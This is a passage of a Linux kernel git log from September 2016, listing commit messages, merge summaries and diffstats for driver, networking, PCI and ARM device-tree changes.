Tested-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/serial_core.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit 1e512d45332bb3a2e97ca262101d43adca274bb2 Author: Uwe Kleine-König Date: Thu Sep 8 14:27:53 2016 +0200 serial: imx: add error messages when .probe fails Some functions called by serial_imx_probe emit an error message themself (like kmalloc() and friends). clk_prepare_enable() and devm_request_irq() however don't which might make the driver silently fail to probe. So add an error message for these. Signed-off-by: Uwe Kleine-König Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/imx.c | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) commit bed806cb266e3853e12de892553fc29c45f9d28c Merge: 36a19b2 b9d66a3 Author: David S. Miller Date: Tue Sep 13 12:16:44 2016 -0400 Merge branch 'mlxsw-ethtool' Jiri Pirko says: ==================== mlxsw: ethtool enhancements Ido says: Patches 1-4 do some minor cleanup in current ethtool ops. Patch 5 replace legacy {get,set}_settings callbacks with {get,set}_link_ksettings. ==================== Signed-off-by: David S. Miller commit b9d66a36aa7737d0f975d99aabc200b7496e26b8 Author: Ido Schimmel Date: Mon Sep 12 13:26:27 2016 +0200 mlxsw: spectrum: Add support for new ethtool API Remove the deprecated {get,set}_settings callbacks and instead add {get,set}_link_ksettings along with support for newly available speeds. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/reg.h | 1 + drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 344 +++++++++++++------------ 2 files changed, 185 insertions(+), 160 deletions(-) commit 91bdc7a43ac7cfe044caa5ab7e74dca114f15904 Author: Ido Schimmel Date: Mon Sep 12 13:26:26 2016 +0200 mlxsw: spectrum: Indicate support of multiple port types The device can support multiple port types, so don't return on first match. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 0213424adad63bfea08ef19cd6c997648ddcf44e Author: Ido Schimmel Date: Mon Sep 12 13:26:25 2016 +0200 mlxsw: spectrum: Report port type according to operational speed In case port isn't operational we shouldn't report the port type, but instead return PORT_OTHER. This is consistent with most other drivers that return PORT_OTHER when media type can't be determined. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 1 - 1 file changed, 1 deletion(-) commit 4149b97f728edc9247939ece42a784c14b4e212f Author: Ido Schimmel Date: Mon Sep 12 13:26:24 2016 +0200 mlxsw: spectrum: Report link partner's advertised speeds If autonegotiation was performed successfully, then we should report the link partner's advertised speeds instead of the operational speed of the port. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/reg.h | 19 +++++++++++++++++++ drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 9 ++++++++- 2 files changed, 27 insertions(+), 1 deletion(-) commit 0c83f88c02085a762d52ebcd9cc4ca3df39db797 Author: Ido Schimmel Date: Mon Sep 12 13:26:23 2016 +0200 mlxsw: spectrum: Correctly report autonegotiation Up until now the device always reported autonegotiation to be off although it was on by default. Allow the user to disable / enable autonegotiation and report its status correctly. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 14 ++++++++++++-- drivers/net/ethernet/mellanox/mlxsw/spectrum.h | 3 ++- 2 files changed, 14 insertions(+), 3 deletions(-) commit 57ccdf449f962ab5fc8cbf26479402f13bdb8be7 Author: Wanpeng Li Date: Wed Sep 7 18:51:13 2016 +0800 tick/nohz: Prevent stopping the tick on an offline CPU can_stop_full_tick() has no check for offline cpus. So it allows to stop the tick on an offline cpu from the interrupt return path, which is wrong and subsequently makes irq_work_needs_cpu() warn about being called for an offline cpu. Commit f7ea0fd639c2c4 ("tick: Don't invoke tick_nohz_stop_sched_tick() if the cpu is offline") added prevention for can_stop_idle_tick(), but forgot to do the same in can_stop_full_tick(). Add it. [ tglx: Massaged changelog ] Signed-off-by: Wanpeng Li Cc: Peter Zijlstra Cc: Frederic Weisbecker Link: http://lkml.kernel.org/r/1473245473-4463-1-git-send-email-wanpeng.li@hotmail.com Signed-off-by: Thomas Gleixner kernel/time/tick-sched.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 292cc1affba5295f38701caa2004b0ac8f61514e Merge: 3eab887 7a988a4 Author: Arnd Bergmann Date: Tue Sep 13 17:51:23 2016 +0200 Merge tag 'sunxi-dt-for-4.9-2' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into next/late Merge "Allwinner DT changes for 4.9, take 2" from Maxime Ripard: A second set of device tree changes, this time switching a few SoCs to the new sunxi-ng clock framework. We also added the support for a new SoC (NextThing GR8 and its evaluation board), and the support for the DRM driver in the A33. To maintain bisectability, while avoiding some un-trivial merge conflicts, I had to merge the clk branch that I've sent a PR to Mike and Stephen. This branch will of course be stable. * tag 'sunxi-dt-for-4.9-2' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: (53 commits) ARM: dts: gr8: Add support for the GR8 evaluation board ARM: dts: Add NextThing GR8 dtsi ARM: dts: sun8i: Move A23/A33 usbphy and usb_otg nodes to common dtsi ARM: sun8i: a23/a33: Add RGB666 pins ARM: sun8i: a33: Add display pipeline ARM: sun8i: Convert the A23 and A33 to the CCU ARM: dts: sun6i: switch A31/A31s to new CCU clock bindings clk: sunxi-ng: Add hardware dependency clk: sunxi-ng: Add A23 CCU clk: sunxi-ng: Add A33 CCU support clk: sunxi-ng: Add N-class clocks support clk: sunxi-ng: mux: Add mux table macro clk: sunxi-ng: div: Allow to set a maximum clk: sunxi-ng: div: Add kerneldoc for the _ccu_div structure clk: sunxi-ng: div: Add mux table macros devicetree: Add vendor prefix for FriendlyARM ARM: dts: sun8i: Add dts file for the NanoPi NEO SBC ARM: dts: sun8i-q8-common: Add support for SDIO wifi controllers ARM: dts: sun8i: Add dts file for the Orange Pi Plus2E SBC ARM: dts: sun8i: Orange Pi Plus dts is for the Plus and Plus 2 ... commit 36a19b299536746f5c01d7716dac962f831e4d38 Author: Philippe Reynes Date: Sun Sep 11 17:54:04 2016 +0200 net: ethernet: apm: xgene: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move this driver to new api {get|set}_link_ksettings. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller .../net/ethernet/apm/xgene/xgene_enet_ethtool.c | 61 +++++++++++++--------- 1 file changed, 37 insertions(+), 24 deletions(-) commit 971d3a44c00dcb27353f929c4c28367956c15527 Author: Philippe Reynes Date: Sun Sep 11 17:54:03 2016 +0200 net: ethernet: apm: xgene: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phy_dev in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller .../net/ethernet/apm/xgene/xgene_enet_ethtool.c | 4 ++-- drivers/net/ethernet/apm/xgene/xgene_enet_hw.c | 24 +++++++++++----------- drivers/net/ethernet/apm/xgene/xgene_enet_main.c | 8 ++++---- drivers/net/ethernet/apm/xgene/xgene_enet_main.h | 1 - 4 files changed, 18 insertions(+), 19 deletions(-) commit 327c2c1562c9bfe001e4e773c05d9cd731a4883e Merge: 4dbacf2 17470b7 Author: Arnd Bergmann Date: Tue Sep 13 17:43:48 2016 +0200 Merge tag 'clcd-nomadik' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-nomadik into next/dt Pull "CLCD graphics on the Nomadik NHK15" from Linus Walleij: * tag 'clcd-nomadik' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-nomadik: ARM: dts: add the CLCD LCD display to the NHK15 ARM: dts: add PMU to the NHK15 device tree ARM: nomadik: select MFD_SYSCON dt-bindings: Add TPO TPG110 binding dt-bindings: add vendor TPO ARM: dts: add STMPE PWM to the NHK15 device tree commit a5f54fcc8a63f4e93ea48243c3a762aa848299d5 Author: Wei Yongjun Date: Sat Sep 10 12:31:30 2016 +0000 net: ethernet: dwmac: fix non static symbol warning Fixes the following sparse warning: drivers/net/ethernet/stmicro/stmmac/dwmac-stm32.c:172:1: warning: symbol 'stm32_dwmac_pm_ops' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac-stm32.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit a7c22bda52e24094c7bc96afcd897ddad2b28bc0 Author: Wei Yongjun Date: Sat Sep 10 11:17:57 2016 +0000 net: macb: fix missing unlock on error in macb_start_xmit() Fix missing unlock before return from function macb_start_xmit() in the error handling case. Fixes: 007e4ba3ee13 ("net: macb: initialize checksum when using checksum offloading") Signed-off-by: Wei Yongjun Acked-by: Nicolas Ferre Signed-off-by: David S. Miller drivers/net/ethernet/cadence/macb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4dbacf2cdea7f372fddd576ff582634c8c2dc1f0 Merge: 971b4c6 bb728d6 Author: Arnd Bergmann Date: Tue Sep 13 17:42:20 2016 +0200 Merge tag 'imx-dt-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into next/dt Pull "i.MX device tree changes for 4.9" from Shawn Guo: - Add SoC support for i.MX7 Solo which is a reduced version of i.MX7 Dual. - New board support: Gateworks Ventana i.MX6Q/DL GW553x, Inverse Path i.MX53 USB armory, i.MX6Q/DL TS-4900 from Technologic Systems, i.MX6UL GEA M6UL modules from Engicam, i.MX7 Solo Warp7 board. - Add DMA and IPU CSI devices for i.MX53 SoC support. - Refine i.MX7 Dual SoC DTS as a preparation of i.MX7 Solo support. - Use of_graph dt nodes to describe the panel for vf610-colibri and ls1021a-twr boards. - Add gpio-ranges property to i.MX6 GPIO controllers, which will be useful when GPIO driver is changed to request pad configuration as GPIO function. - Random device additions or small changes for various board support. * tag 'imx-dt-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: (41 commits) ARM: dts: add gpio-ranges property to iMX GPIO controllers ARM: dts: imx35: add iim module to imx35.dtsi ARM: dts: vf610-colibri: use of_graph dt nodes to describe the panel ARM: dts: ls1021a: Add of_graph dt nodes to describe the panel ARM: dts: imx53: add support for USB armory board devicetree: Add vendor prefix for Inverse Path ARM: dts: imx7s-warp: Add Bluetooth support ARM: dts: imx7s-warp: Add User Button support ARM: dts: imx7s-warp: Enable I2C2 device support ARM: dts: imx6ul-geam: Add Engicam IMX6UL GEA M6UL initial support ARM: dts: imx6ul iomuxc syscon is compatible to imx6q ARM: dts: imx7-colibri: add Audio support ARM: dts: imx7-colibri: add basic supply regulators ARM: dts: imx7-colibri: move SD-card to module level ARM: dts: imx6sx: Add GPU bindings ARM: dts: imx7s-warp: Let the codec control MCLK pinctrl ARM: dts: imx6ul-pico-hobbit: Use WDOG_B pin reset ARM: dts: imx6q-bx50v3: configure unused pca953x pins ARM: dts: imx6sx: document SION necessity of ENET1_REF_CLK1 ARM: dts: imx7s-warp: Use WDOG_B pin reset ... commit 9413d968f24371bede2c82ec7bb8d040eede8417 Author: Bharat Kumar Gogada Date: Thu Sep 1 15:44:46 2016 +0530 microblaze/PCI: Add multidomain support for procfs We create a procfs directory for every PCI bus. Previously, the directory name was just the bus number, so using the same bus number in different domains caused a kernel crash when we tried to create a duplicate directory. Make pci_proc_domain() return the domain number, so procfs directories for buses in domain 0 are named with just the bus number, and directories for buses in other domains include both the domain number and the bus number. [bhelgaas: changelog] Signed-off-by: Bharat Kumar Gogada Signed-off-by: Bjorn Helgaas Acked-by: Michal Simek arch/microblaze/pci/pci-common.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 971b4c6e1a827e2b01738772a2a7cfd8b0842286 Merge: 83a9660 b4e5451 Author: Arnd Bergmann Date: Tue Sep 13 17:41:15 2016 +0200 Merge tag 'realview-dts-split' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-integrator into next/dt Pull "RealView DTS file fixup and split" from Linus Walleij: Fix the ethernet issue on revision D of the RealView EB Split the DTS files in per-revision variants * tag 'realview-dts-split' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-integrator: ARM: dts: add RealView EB rev D A9 MPCore variant ARM: dts: split RealView EB 11MPCore variants ARM: dts: add device tree for the RealView EB Rev D ARM: dts: fix RealView EB SMSC ethernet version commit 99c1790e5bbd31fe2b646bff868a55a13b1eeeb2 Author: Michael Ellerman Date: Sat Sep 10 19:59:05 2016 +1000 net: Remove NO_IRQ from powerpc-only network drivers We'd like to eventually remove NO_IRQ on powerpc, so remove usages of it from powerpc-only drivers. Signed-off-by: Michael Ellerman Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fman/fman_mac.h | 2 +- drivers/net/ethernet/freescale/fs_enet/mac-fcc.c | 2 +- drivers/net/ethernet/freescale/fs_enet/mac-fec.c | 2 +- drivers/net/ethernet/freescale/fs_enet/mac-scc.c | 2 +- drivers/net/ethernet/ibm/emac/core.c | 10 +++++----- drivers/net/ethernet/ibm/emac/mal.c | 5 ++--- drivers/net/ethernet/ibm/ibmvnic.c | 4 ++-- drivers/net/ethernet/toshiba/ps3_gelic_net.c | 4 ++-- 8 files changed, 15 insertions(+), 16 deletions(-) commit 83a9660af6cf96b44c87a0312be2d2cae7640544 Merge: 1f48096 7e9d474 Author: Arnd Bergmann Date: Tue Sep 13 17:40:17 2016 +0200 Merge tag 'tegra-for-4.9-arm-dt' of git://git.kernel.org/pub/scm/linux/kernel/git/tegra/linux into next/dt Pull "ARM: tegra: Device tree changes for v4.9-rc1" from Thierry Reding: Contains a couple of cleanups for Tegra114 device trees. * tag 'tegra-for-4.9-arm-dt' of git://git.kernel.org/pub/scm/linux/kernel/git/tegra/linux: ARM: tegra: Correct polarity for Tegra114 PMIC interrupt ARM: tegra: Fix Tegra114 USB compatible values commit b328f3ce993c647c055f917afa947d6c2369461d Author: Bharat Kumar Gogada Date: Thu Sep 1 15:44:44 2016 +0530 PCI: xilinx: Dispose of MSI virtual IRQ Dispose of virtual IRQ being created for MSI interrupts. Signed-off-by: Bharat Kumar Gogada Signed-off-by: Bjorn Helgaas Acked-by: Michal Simek drivers/pci/host/pcie-xilinx.c | 1 + 1 file changed, 1 insertion(+) commit 8a4036edf9463b6cf8c2537727b4511c4411d198 Author: Bharat Kumar Gogada Date: Thu Sep 1 15:44:43 2016 +0530 PCI: xilinx: Clear correct MSI set bit Kernel provides virtual IRQ number at teardown. Get hwirq number from virtual IRQ and clear correct MSI set bit. Signed-off-by: Bharat Kumar Gogada Signed-off-by: Bjorn Helgaas Acked-by: Michal Simek drivers/pci/host/pcie-xilinx.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 1f480960e0aa2a681ba03ab85db13a70788e202a Merge: d9d37f7 4314f4b Author: Arnd Bergmann Date: Tue Sep 13 17:38:34 2016 +0200 Merge tag 'v4.9-rockchip-dts32-1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip into next/dt Pull "Rockchip dts32 changes for 4.9" from Heiko Stübner: 32bit Rockchip devicetree changes containing two new rk3288 boards (Fennec and Firefly-reload), display support for the rk3288-evb, support for the recently added firmware reboot-flag support and some housekeeping cleanups. * tag 'v4.9-rockchip-dts32-1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip: ARM: dts: rockchip: Add sensor-supplies on PopMetal-RK3288 board ARM: dts: rockchip: fix L3G4200D i2c address on PopMetal-RK3288 board ARM: dts: rockchip: enable usbotg for Popemtal-rk3288 board ARM: dts: rockchip: add missing regulators for firefly reload board ARM: dts: rockchip: remove excess sd properties from firefly reload ARM: dts: rockchip: add syscon-reboot-mode DT node soc: rockchip: add reboot-mode header ARM: dts: rockchip: move rk3288 usbphy under the GRF node ARM: dts: rockchip: add rk3288-firefly-reload ARM: dts: rockchip: add dts for RK3288-Fennec boards ARM: dts: rockchip: add the panel power supply for rk3288-evb board with rk808 pmu ARM: dts: rockchip: add the panel power supply for rk3288-evb board with act8846 pmu ARM: dts: rockchip: add eDP/panel display device nodes for rk3288-evb commit 3cd049ab9edd48a41955b8d05f0bc57ead918456 Author: Bharat Kumar Gogada Date: Thu Sep 1 15:44:42 2016 +0530 PCI: xilinx: Clear interrupt register for invalid interrupt The interrupt decode register is not being cleared if an invalid interrupt arises. Clear the decode register in this case. Signed-off-by: Bharat Kumar Gogada Signed-off-by: Bjorn Helgaas Acked-by: Michal Simek drivers/pci/host/pcie-xilinx.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit d9d37f70feab141515e87128af7e1fc8c2352d4e Merge: a6023d0 accfb2f Author: Arnd Bergmann Date: Tue Sep 13 17:36:04 2016 +0200 Merge tag 'sunxi-dt-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into next/dt Pull "Allwinner DT changes for 4.9" from Maxime Ripard: Business as usual on our side, with a mix of new boards and new IPs enabled on boards: - Support for the GPIO found on the AXP PMIC - ESP8089 on the relevant boards - More boards converted to the reference design and q8 designs - New boards: Orange Pi PC Plus, Orange Pi 2, Orange Pi Plus 2E, Orange Pi Lite, Olimex A33-Olinuxino, Empire Electronix M712, inet-d978_rev2, Nano Pi Neo * tag 'sunxi-dt-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: (31 commits) devicetree: Add vendor prefix for FriendlyARM ARM: dts: sun8i: Add dts file for the NanoPi NEO SBC ARM: dts: sun8i-q8-common: Add support for SDIO wifi controllers ARM: dts: sun8i: Add dts file for the Orange Pi Plus2E SBC ARM: dts: sun8i: Orange Pi Plus dts is for the Plus and Plus 2 ARM: dts: sun8i: Add PWM controller node in H3 ARM: dts: sun8i: Add dts file for inet-d978_rev2 tablets ARM: dts: sun9i: Add missing #interrupt-cells to R_PIO pinctrl device node ARM: dts: sun8i: Rename reference-design-tablet touchscreen node ARM: dts: sun5i: Add dts file for the Empire Electronix M712 tablet ARM: dts: sun5i: Convert inet-98v-rev2 dts to use reference-design-tablet.dtsi ARM: dts: sun4i: Disable ohci1 on ba10-tv-box ARM: dts: sun8i: Add dt node for esp8089 wifi chip on polaroid-mid2809 ARM: dts: sun8i: Add dt node for esp8089 wifi chip on polaroid-mid2407 ARM: dts: sun8i: add NAND controller node for A23/A33 ARM: dts: sun6i: Add new dts file for tablets using the inet-q972 PCB ARM: dts: sun6i: Add sun6i-reference-design-tablet.dtsi ARM: dts: sun6i: colorfly-e708-q1: Remove unused mma8452_int_e708_q1 node ARM: dts: sun9i: Switch to the AC100 RTC clock outputs for osc32k ARM: dts: sun9i: cubieboard4: Add device node for AC100 ... commit a6023d05001737722a9a06c4c49f4e2cf340fda4 Merge: 29b48f9 fa8f4ab Author: Arnd Bergmann Date: Tue Sep 13 17:34:49 2016 +0200 Merge tag 'renesas-dt2-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas into next/dt Pull "Second Round of Renesas ARM Based SoC DT Updates for v4.9" from Simon Horman: Fixes (for v4.9): * Correct PWM clock parent on r8a7794 SoC Clean-up: * Remove obsolete vsp1 properties from r8a779[01] SoCs New boards: * Add r8a7792/wheat and r7s72100/rskrza1 boards Enablement: * Enable LEDs, DU, SDHI on r8a7792/blanche board * Enable MMCIF and SDHI on r8a7794/alt board * Add SPI and VSP1 to r8a7792 SoC * Add ethernet to r7s72100 SoC * tag 'renesas-dt2-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas: (26 commits) ARM: dts: wheat: add support for tactile switches ARM: dts: wheat: add QSPI support ARM: dts: r8a7792: add QSPI support ARM: dts: r8a7792: add QSPI clock ARM: dts: wheat: add SDHI0 support ARM: dts: wheat: add CAN support ARM: dts: r8a7794: fix PWM clock parent ARM: dts: rskrza1: add ethernet DT support ARM: dts: r7s72100: add ethernet to device tree ARM: dts: r7s72100: add ethernet clock to device tree ARM: dts: rskrza1: initial device tree ARM: dts: Add RSKRZA1 DT bindings documentation ARM: dts: wheat: add Ethernet support ARM: dts: wheat: initial device tree ARM: dts: document Wheat board ARM: dts: blanche: add support for general purpose LEDs ARM: dts: r8a7792: add VSP1V support ARM: dts: r8a7792: add VSP1V clocks ARM: dts: blanche: add DU support ARM: dts: blanche: add SDHI0 support ... commit 29b48f98605d7cdf1ce14ddd372e2155406b02d7 Merge: 72f61d2 8364074 Author: Arnd Bergmann Date: Tue Sep 13 17:32:51 2016 +0200 Merge tag 'lpc18xx_dts_for_4.9_part2' of https://github.com/manabian/linux-lpc into next/dt Pull "Device Tree clean up for LPC18xx platform" from Joachim Eastwood: * Removal of skeleton.dtsi from the common armv7-m dtsi together with lpc18xx and efm32 platforms. * Fix for unit address warnings from the dtc on lpc18xx/efm32. That is made possible with skeleton.dtsi gone. * tag 'lpc18xx_dts_for_4.9_part2' of https://github.com/manabian/linux-lpc: ARM: dts: efm32: remove skeleton.dtsi include and fix unit address warnings ARM: dts: lpc18xx: remove skeleton.dtsi include and fix unit address warnings ARM: dts: armv7-m: remove skeleton.dtsi include commit 72f61d2e92c43621d93f61ee2cfddc7ce7ac16c5 Merge: 9992f21 a305cc2 Author: Arnd Bergmann Date: Tue Sep 13 17:31:16 2016 +0200 Merge tag 'mvebu-dt-4.9-1' of git://git.infradead.org/linux-mvebu into next/dt Pull "mvebu dt for 4.9 (part 1)" from Gregory CLEMENT: - update for Armada XP/38x allowing using direct access SPI - various improvement for Armada 39x platforms - add pinctrl information for NANd on Armada 38x - fix the kirkwood based Openblock A6 external GPIO pins * tag 'mvebu-dt-4.9-1' of git://git.infradead.org/linux-mvebu: ARM: dts: mvebu: fix reference to a390 spi controller ARM: dts: armada-38x: Add NAND pinctrl information ARM: dts: kirkwood: Fix Openblock A6 external GPIO pins ARM: dts: mvebu: armada-395-gp: add support for the Armada 395 GP Board ARM: dts: mvebu: armada-390-db: add support for the Armada 390 DB board ARM: dts: mvebu: armada-398-db: enable supported usb interfaces ARM: dts: mvebu: armada-398: update the dtsi about missing interfaces ARM: dts: mvebu: armada-395: add support for the Armada 395 SoC family ARM: dts: mvebu: armada-39x: enable rtc for all Armada-39x SoCs ARM: dts: mvebu: armada-39x: add missing nodes describing GPIO's ARM: dts: mvebu: armada-39x: enable watchdog for all Armada-39x SoCs ARM: dts: mvebu: armada-39x: enable the thermal sensor in Armada-39x SoCs ARM: dts: mvebu: armada-39x: enable PMU, CA9 SoC Controller and Coherency fabric ARM: dts: mvebu: armada-39x: update the SDHCI node on Armada 39x ARM: dts: mvebu: armada-390: add missing compatibility string and bracket ARM: dts: mvebu: a385-db-ap: add default partition description for NAND ARM: dts: mvebu: a385-db-ap: enable USB (orion-ehci) port ARM: dts: mvebu: armada-370-xp: Add MBus mappings for all SPI devices ARM: dts: mvebu: A37x/XP/38x/39x: Move SPI controller nodes into 'soc' node ARM: dts: mvebu: Add SPI1 pinctrl defines for Armada XP commit 4b7b948b1fcde59d9a0085237be0060e825216fc Author: Arnd Bergmann Date: Tue Sep 6 14:59:41 2016 +0200 vme: fake: fix build for 64-bit dma_addr_t casting between dma_addr_t and a pointer is generally tricky, as they might not be the same size and almost never point into the same address space. With 32-bit ARM systems and LPAE, we get this warning for the vme_fake driver that stores a pointer in a dma_addr_t variable: drivers/vme/bridges/vme_fake.c: In function 'fake_slave_set': drivers/vme/bridges/vme_fake.c:204:29: error: assignment makes pointer from integer without a cast [-Werror=int-conversion] To make this clearer while fixing the warning, I'm adding a set of helper functions for the type conversion. Signed-off-by: Arnd Bergmann Acked-by: Martyn Welch Signed-off-by: Greg Kroah-Hartman drivers/vme/bridges/vme_fake.c | 26 ++++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) commit 0b3191d4ea6403f429beab5097428093e170fe44 Author: Joe Perches Date: Tue Sep 6 09:49:04 2016 -0700 ttyprintk: Neaten and simplify printing The code is a bit obscure. Simplify it by using a single routine to flush the tpk_buffer and emit the buffer prefixed with "[U] ". Signed-off-by: Joe Perches Signed-off-by: Greg Kroah-Hartman drivers/char/ttyprintk.c | 69 ++++++++++++++++++++++-------------------------- 1 file changed, 31 insertions(+), 38 deletions(-) commit 9992f21333c1514d41a6cae50928c4c466b8465c Merge: 9c0da3c 73bae19 Author: Arnd Bergmann Date: Tue Sep 13 17:29:08 2016 +0200 Merge tag 'qcom-dts-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux into next/dt Pull "Qualcomm Device Tree Changes for v4.9" from Andy Gross: * Rework dr_mode on APQ8064 and Nexus7 * Add MSM8974 BLSP1 UART1 port * Add AP148 SATA mapping * Add support for LG Nexus 5 (Hammerhead) * Fixup MSM8660/MSM8064 SPMI/MPP IRQs * Add Nexus7 IMEM/reboot reason * Add Honami touchscreen support * Add TSENS support on MSM8974, APQ8064, and APQ8084 * Add APQ8060 Dragonboard PM8058 LEDs * Rework VPH PWR REG for MSM8974 * tag 'qcom-dts-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux: ARM: dts: msm8974: Move vreg_boost node from the honami to msm8974 ARM: dts: qcom: msm8974: Add fixed regulator node for vph-pwr-reg ARM: dts: add PM8058 LEDs to the APQ8060 Dragonboard arm: dts: apq8084: Add thermal zones, tsens and qfprom nodes arm: dts: apq8064: Add thermal zones, tsens and qfprom nodes arm: dts: msm8974: Add thermal zones, tsens and qfprom nodes ARM: dts: msm8974: honami: Add touchscreen device-tree: nexus7: Add IMEM syscon and reboot reason support ARM: dts: MSM8660 remove flags from SPMI/MPP IRQs ARM: dts: MSM8064 remove flags from SPMI/MPP IRQs ARM: dts: msm8974-hammerhead: Introduce gpio-keys nodes ARM: dts: msm8974-hammerhead: Add regulator nodes for hammerhead ARM: dts: qcom: Add initial DTS for LG Nexus 5 Phone ipq8064: dts: force AP148 SATA port mapping ARM: dts: msm8974: Add nodes for blsp1_uart1 serial port device-tree: aqp8064.dtsi: Remove usb phy dr_mode = "host" device-tree: nexus7: Set phy mode to otg instead of host commit c20cb8119337052a84e40cba94af732d870e22e3 Author: Wei Yongjun Date: Sat Sep 10 00:56:55 2016 +0000 tipc: fix possible memory leak in tipc_udp_enable() 'ub' is malloced in tipc_udp_enable() and should be freed before leaving from the error handling cases, otherwise it will cause memory leak. Fixes: ba5aa84a2d22 ("tipc: split UDP nl address parsing") Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller net/tipc/udp_media.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9c0da3cc61f1233c2782e2d3d91e3d0707dd4ba5 Author: Mark Rutland Date: Fri Sep 2 17:34:50 2016 +0100 ARM: dts: explicitly mark skeleton.dtsi as deprecated As noted in commit 3ebee5a2e141496b ("arm64: dts: kill skeleton.dtsi"), there are a number of problems with skeleton.dtsi, and it would be prefereable to remove it entirely. As there are a large number of existing users, fixing these up will take a while. This patch adds a note to arm's skeleton.dtsi noting that this is the case, to make this more obvious and hopefully minimize new uptake of skeleton.dtsi in the mean time. Signed-off-by: Mark Rutland Acked-by: Rob Herring Cc: Arnd Bergmann Cc: Olof Johansson Signed-off-by: Arnd Bergmann arch/arm/boot/dts/skeleton.dtsi | 4 ++++ 1 file changed, 4 insertions(+) commit 54a2ec67f1db62a763f57b7f8f2e82874f5f358b Author: Tony Lindgren Date: Fri Sep 9 10:58:24 2016 -0700 usb: ohci: Allow ohci on omap5 also With LPAE config we don't have omap3 or omap4 selected for omap5 variants. Signed-off-by: Tony Lindgren Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman drivers/usb/host/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b44bbc46a8bbcd9c6bb1d167ca3f78d3aa5ee41d Author: Roger Quadros Date: Tue Sep 13 11:16:03 2016 +0300 usb: core: setup dma_pfn_offset for USB devices and, interfaces If dma_pfn_offset is not inherited correctly from the host controller, it might result in sub-optimal configuration as bounce buffer limit might be set to less than optimal level. Consider the mass storage device case. USB storage driver creates a scsi host for the mass storage interface in drivers/usb/storage/usb.c The scsi host parent device is nothing but the the USB interface device. Now, __scsi_init_queue() calls scsi_calculate_bounce_limit() to find out and set the block layer bounce limit. scsi_calculate_bounce_limit() uses dma_max_pfn(host_dev) to get the bounce_limit. host_dev is nothing but the device representing the mass storage interface. If that device doesn't have the right dma_pfn_offset, then dma_max_pfn() is messed up and the bounce buffer limit is wrong. e.g. On Keystone 2 systems, dma_max_pfn() is 0x87FFFF and dma_mask_pfn is 0xFFFFF. Consider a mass storage use case: Without this patch, usb scsi host device (usb-storage) will get a dma_pfn_offset of 0 resulting in a dma_max_pfn() of 0xFFFFF within the scsi layer (scsi_calculate_bounce_limit()). This will result in bounce buffers being unnecessarily used. Hint: On 32-bit ARM platforms dma_max_pfn() = dma_mask_pfn + dma_pfn_offset Signed-off-by: Roger Quadros Acked-by: Arnd Bergmann Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman drivers/usb/core/message.c | 5 +++++ drivers/usb/core/usb.c | 11 +++++++++++ 2 files changed, 16 insertions(+) commit af3fe47343b80e464f7c85d9df3b770ea13c3cae Merge: 3abb0c6 ba5ba11 Author: Arnd Bergmann Date: Tue Sep 13 17:24:24 2016 +0200 Merge tag 'sti-dt-for-v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti into next/dt Pull "STi dts fixes and new STi 96board support" from Patrice Chotard: Add thermal node for STiH407 family boards Add specific nodes for STMicroelectronics 96Board Add new B2260 STi board file = 96Board Fix ahci issue on STiH407 family Fix 